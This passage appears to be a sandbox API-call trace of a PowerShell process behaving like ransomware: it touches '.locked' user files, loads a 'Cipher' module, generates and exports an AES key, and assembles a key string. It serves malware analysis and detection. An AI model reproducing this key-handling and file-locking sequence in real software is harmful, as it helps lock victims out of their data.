[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.326] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.328] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.328] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.329] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.329] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.332] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.333] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a2e5dc | out: lpFileInformation=0x6a2e5dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1511a306, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1511a306, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1511a306, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x7f04)) returned 1 [0137.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.335] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", lpFilePart=0x0) returned 0x34 [0137.335] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.335] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.335] CloseHandle (hObject=0x764) returned 1 [0137.336] GetConsoleOutputCP () returned 0x1b5 [0137.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.336] GetConsoleOutputCP () returned 0x1b5 [0137.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.337] GetConsoleOutputCP () returned 0x1b5 [0137.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.337] GetConsoleOutputCP () returned 0x1b5 [0137.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.337] GetConsoleOutputCP () returned 0x1b5 [0137.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.338] GetConsoleOutputCP () returned 0x1b5 [0137.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.338] GetConsoleOutputCP () returned 0x1b5 [0137.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.339] GetConsoleOutputCP () returned 0x1b5 [0137.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.339] GetConsoleOutputCP () returned 0x1b5 [0137.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.339] GetConsoleOutputCP () returned 0x1b5 [0137.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.340] GetConsoleOutputCP () returned 0x1b5 [0137.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.340] GetConsoleOutputCP () returned 0x1b5 [0137.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.341] GetConsoleOutputCP () returned 0x1b5 [0137.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.341] GetConsoleOutputCP () returned 0x1b5 [0137.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.342] GetConsoleOutputCP () returned 0x1b5 [0137.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.342] GetConsoleOutputCP () returned 0x1b5 [0137.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.342] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.343] GetConsoleOutputCP () returned 0x1b5 [0137.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.343] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.344] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a55180*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a55180*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.344] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.344] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.350] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.350] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.350] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.351] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.351] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.352] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0137.352] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84bb8) returned 1 [0137.353] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.353] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.353] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a5ea18, pdwDataLen=0x99ae894 | out: pbData=0x6a5ea18*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.353] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xe9a8\x6a5\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0137.353] SysStringLen (param_1="") returned 0x8 [0137.353] SysStringLen (param_1="x") returned 0x8 [0137.353] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.353] SysStringLen (param_1="\x628d\x20b8\x3b37\xb17b\x9cab\xc59c\x9386\x5c6") returned 0x8 [0137.353] SysStringLen (param_1="\x628d\x20b8\x3b37\xb17b\x9cab\xc59c\x9386\x5c6") returned 0x8 [0137.353] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.353] SysStringLen (param_1="x3") returned 0x8 [0137.353] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.353] SysStringLen (param_1="␸⩻蕼對曱ܐ") returned 0x8 [0137.353] SysStringLen (param_1="␸⩻蕼對曱ܐ") returned 0x8 [0137.354] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="x3N") returned 0x8 [0137.354] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="\x87b2\xd51d\x2748\xb2fa\x28a6\x6a6d\x368e\xd852") returned 0x8 [0137.354] SysStringLen (param_1="\x87b2\xd51d\x2748\xb2fa\x28a6\x6a6d\x368e\xd852") returned 0x8 [0137.354] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="x3Nh") returned 0x8 [0137.354] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="\x8f1f\x84a5\xb6c4\x9ec5\x626d\xcb4e\xe44c\x71b3") returned 0x8 [0137.354] SysStringLen (param_1="\x8f1f\x84a5\xb6c4\x9ec5\x626d\xcb4e\xe44c\x71b3") returned 0x8 [0137.354] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="x3NhR") returned 0x8 [0137.354] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="\x2cfd\x4237\x7c1e\xb79f\x197f\x515f\xc395\x3bb0") returned 0x8 [0137.354] SysStringLen (param_1="\x2cfd\x4237\x7c1e\xb79f\x197f\x515f\xc395\x3bb0") returned 0x8 [0137.354] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="x3NhR+") returned 0x8 [0137.354] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.354] SysStringLen (param_1="\x5d6b\xa7e3\x52b5\x9b8e\x9115\x3614\x5d39\x77f0") returned 0x8 [0137.354] SysStringLen (param_1="\x5d6b\xa7e3\x52b5\x9b8e\x9115\x3614\x5d39\x77f0") returned 0x8 [0137.354] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.355] SysStringLen (param_1="x3NhR+3") returned 0x8 [0137.355] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.355] SysStringLen (param_1="\x8338\x6984\xdd4a\xdf79\x6a31\x78c1\x85f6\x6022") returned 0x8 [0137.355] SysStringLen (param_1="\x8338\x6984\xdd4a\xdf79\x6a31\x78c1\x85f6\x6022") returned 0x8 [0137.355] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.355] SysStringLen (param_1="x3NhR+3e") returned 0x8 [0137.355] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7") returned 0x8 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7") returned 0x8 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7") returned 0x8 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7") returned 0x10 [0137.355] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.355] SysStringLen (param_1="x3NhR+3eZ筒㌓䞛륞帟셇휔") returned 0x10 [0137.355] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xff6c\x9bea\x8539\x8716\x3e5c\x614f\x3f2e\x3404") returned 0x10 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xff6c\x9bea\x8539\x8716\x3e5c\x614f\x3f2e\x3404") returned 0x10 [0137.355] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.355] SysStringLen (param_1="x3NhR+3eZ7㌓䞛륞帟셇휔") returned 0x10 [0137.355] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xb4b7\x5aa6\x6e75\x759a\x2ddf\x6c08\x539b\xbecb") returned 0x10 [0137.355] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xb4b7\x5aa6\x6e75\x759a\x2ddf\x6c08\x539b\xbecb") returned 0x10 [0137.356] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="x3NhR+3eZ70䞛륞帟셇휔") returned 0x10 [0137.356] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x8d68\x60e8\xa0d7\x2ed2\xc000\x6868\xd041\x807c") returned 0x10 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x8d68\x60e8\xa0d7\x2ed2\xc000\x6868\xd041\x807c") returned 0x10 [0137.356] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="x3NhR+3eZ70n륞帟셇휔") returned 0x10 [0137.356] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xd496\xeecf\x64dd\x4634\xfc48\x82f\x9a82\x4c49") returned 0x10 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xd496\xeecf\x64dd\x4634\xfc48\x82f\x9a82\x4c49") returned 0x10 [0137.356] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="x3NhR+3eZ70ng帟셇휔") returned 0x10 [0137.356] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x515e\x1fb9\x2ace\xd8b3\x70d\xabcb\x2b75\x317c") returned 0x10 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x515e\x1fb9\x2ace\xd8b3\x70d\xabcb\x2b75\x317c") returned 0x10 [0137.356] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="x3NhR+3eZ70ng5셇휔") returned 0x10 [0137.356] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xfd22\xa716\xca8e\x6e3c\x23f9\x9d4\xfca5\xb262") returned 0x10 [0137.356] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\xfd22\xa716\xca8e\x6e3c\x23f9\x9d4\xfca5\xb262") returned 0x10 [0137.356] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.357] SysStringLen (param_1="x3NhR+3eZ70ng5x휔") returned 0x10 [0137.357] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x5d74\x519\x6e5f\x5463\x243e\x777a\xfbe6\xb9d2") returned 0x10 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x5d74\x519\x6e5f\x5463\x243e\x777a\xfbe6\xb9d2") returned 0x10 [0137.357] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.357] SysStringLen (param_1="x3NhR+3eZ70ng5xa") returned 0x10 [0137.357] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231") returned 0x10 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231") returned 0x10 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231") returned 0x10 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231") returned 0x18 [0137.357] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.357] SysStringLen (param_1="x3NhR+3eZ70ng5xam訋쳐韮쫻ꢋ뻸ꋢ") returned 0x18 [0137.357] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x178c\x963a\x7814\x683a\x6be1\xbdaf\xbb37\x51f2") returned 0x18 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x178c\x963a\x7814\x683a\x6be1\xbdaf\xbb37\x51f2") returned 0x18 [0137.357] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.357] SysStringLen (param_1="x3NhR+3eZ70ng5xamW쳐韮쫻ꢋ뻸ꋢ") returned 0x18 [0137.357] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x758\x2f8e\x9ca1\x250d\x406a\x59f1\x10a4\x3bbb") returned 0x18 [0137.357] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x758\x2f8e\x9ca1\x250d\x406a\x59f1\x10a4\x3bbb") returned 0x18 [0137.357] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.357] SysStringLen (param_1="x3NhR+3eZ70ng5xamWb韮쫻ꢋ뻸ꋢ") returned 0x18 [0137.357] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x5245\xa513\x4f6e\xb471\x57d0\xb234\x5dd\x3168") returned 0x18 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x5245\xa513\x4f6e\xb471\x57d0\xb234\x5dd\x3168") returned 0x18 [0137.358] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbu쫻ꢋ뻸ꋢ") returned 0x18 [0137.358] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x5cd5\xb2f4\xe14d\x3eb6\x9fcd\x68db\xd1fe\x9cde") returned 0x18 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x5cd5\xb2f4\xe14d\x3eb6\x9fcd\x68db\xd1fe\x9cde") returned 0x18 [0137.358] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumꢋ뻸ꋢ") returned 0x18 [0137.358] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x8421\x16db\x5b09\x6fcd\x4c48\x1480\x9ea3\xceed") returned 0x18 [0137.358] SysStringLen 